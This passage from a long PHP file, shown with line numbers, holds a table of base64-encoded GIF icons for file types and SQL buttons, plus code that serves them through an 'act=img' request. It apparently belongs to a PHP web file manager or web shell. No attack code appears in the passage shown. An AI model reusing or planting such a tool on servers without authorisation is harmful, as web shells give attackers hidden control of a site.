  3073. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  3074. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  3075. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  3076. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  3077. "setup"=>
  3078. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  3079. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  3080. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  3081. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  3082. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  3083. "small_dir"=>
  3084. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  3085. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  3086. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  3087. "small_unk"=>
  3088. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  3089. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  3090. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  3091. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  3092. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  3093. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  3094. "9ZOWwX6Is3WIu5im07rJ9J2t2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AAIj3IR".
  3108. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  3109. "sort_asc"=>
  3110. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  3111. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  3112. "sort_desc"=>
  3113. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  3114. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  3115. "sql_button_drop"=>
  3116. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  3117. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3118. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  3119. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  3120. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  3121. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  3122. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  3123. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  3124. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  3125. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  3126. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  3127. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  3128. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  3129. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  3130. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  3131. "AQEAOw==",
  3132. "sql_button_empty"=>
  3133. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  3134. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3135. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  3136. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  3137. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  3138. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  3139. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  3140. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  3141. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  3142. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  3143. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  3144. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  3145. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  3146. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  3147. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  3148. "sql_button_insert"=>
  3149. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  3150. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3151. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  3152. "AABmMwBmZgBmmQBmzABm/wCZAACZ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A".
  3166. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  3167. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  3168. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  3169. "write"=>
  3170. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  3171. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  3172. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  3173. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  3174. "ext_asp"=>
  3175. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  3176. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  3177. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  3178. "ext_mp3"=>
  3179. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  3180. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  3181. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  3182. "ext_avi"=>
  3183. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  3184. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  3185. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  3186. "ext_cgi"=>
  3187. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  3188. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  3189. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  3190. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  3191. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3192. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3193. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3194. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  3195. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  3196. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  3197. "RYtMAgEAOw==",
  3198. "ext_cmd"=>
  3199. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  3200. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  3201. "dmrYAMn1onq/YKpjvEgAADs=",
  3202. "ext_cpp"=>
  3203. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  3204. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  3205. "Eq7YrLDE7a4SADs=",
  3206. "ext_ini"=>
  3207. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  3208. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  3209. "SnEjgPVarHEHgrB43JvszsQEADs=",
  3210. "ext_diz"=>
  3211. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  3212. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  3213. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  3214. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  3215. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  3216. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
  3217. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  3218. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  3219. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3220. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3221. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3222. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3223. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3224. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3225. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
  3226. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  3227. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  3228. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  3229. "Ow==",
  3230. "ext_doc"=>
  3231. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  3232. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  3233. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  3234. "ext_exe"=>
  3235. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  3236. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  3237. "xhIAOw==",
  3238. "ext_h"=>
  3239. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  3240. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  3241. "Wq/NknbbSgAAOw==",
  3242. "ext_hpp"=>
  3243. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  3244. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  3245. "UqUagnbLdZa+YFcCADs=",
  3246. "ext_htaccess"=>
  3247. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  3248. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  3249. "AAA7",
  3250. "ext_html"=>
  3251. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  3252. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  3253. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  3254. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  3255. "ADs=",
  3256. "ext_jpg"=>
  3257. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  3258. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  3259. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  3260. "FxEAOw==",
  3261. "ext_js"=>
  3262. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  3263. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  3264. "a00AjYYBbc/o9HjNniUAADs=",
  3265. "ext_lnk"=>
  3266. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  3267. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  3268. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  3269. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  3270. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  3271. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3272. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3273. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  3274. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  3275. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  3276. "ADs=",
  3277. "ext_log"=>
  3278. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  3279. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  3280. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  3281. "ext_php"=>
  3282. "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
  3283. "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
  3284. "ext_pl"=>
  3285. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  3286. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  3287. "ext_swf"=>
  3288. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  3289. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  3290. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  3291. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  3292. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  3293. "ext_tar"=>
  3294. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  3295. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  3296. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  3297. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  3298. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3299. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3300. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3301. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  3302. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  3303. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  3304. "u4tLAgEAOw==",
  3305. "ext_txt"=>
  3306. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  3307. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  3308. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  3309. "ext_wri"=>
  3310. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  3311. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  3312. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  3313. "ext_xml"=>
  3314. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  3315. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3316. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  3317. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  3318. "IQA7"
  3319.  );
  3320.  //For simple size- and speed-optimization.
  3321.  $imgequals = array(
  3322.   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  3323.   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  3324.   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  3325.   "ext_html"=>array("ext_html","ext_htm"),
  3326.   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  3327.   "ext_lnk"=>array("ext_lnk","ext_url"),
  3328.   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  3329.   "ext_doc"=>array("ext_doc","ext_dot"),
  3330.   "ext_js"=>array("ext_js","ext_vbs"),
  3331.   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  3332.   "ext_wri"=>array("ext_wri","ext_rtf"),
  3333.   "ext_swf"=>array("ext_swf","ext_fla"),
  3334.   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  3335.   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  3336.  );
  3337.  if (!$getall)
  3338.  {
  3339.   header("Content-type: image/gif");
  3340.   header("Cache-control: public");
  3341.   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  3342.   header("Cache-control: max-age=".(60*60*24*7));
  3343.   header("Last-Modified: ".date("r",filemtime(__FILE__)));
  3344.   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  3345.   if (empty($images[$img])) {$img = "small_unk";}
  3346.   if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  3347.   echo base64_decode($images[$img]);
  3348.  }
  3349.  else
  3350.  {
  3351.   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  3352.   natsort($images);
  3353.   $k = array_keys($images);
  3354.   echo  "<center>";
  3355.   foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  3356.   echo "</center>";
  3357.  }
  3358.  exit;
  3359. }
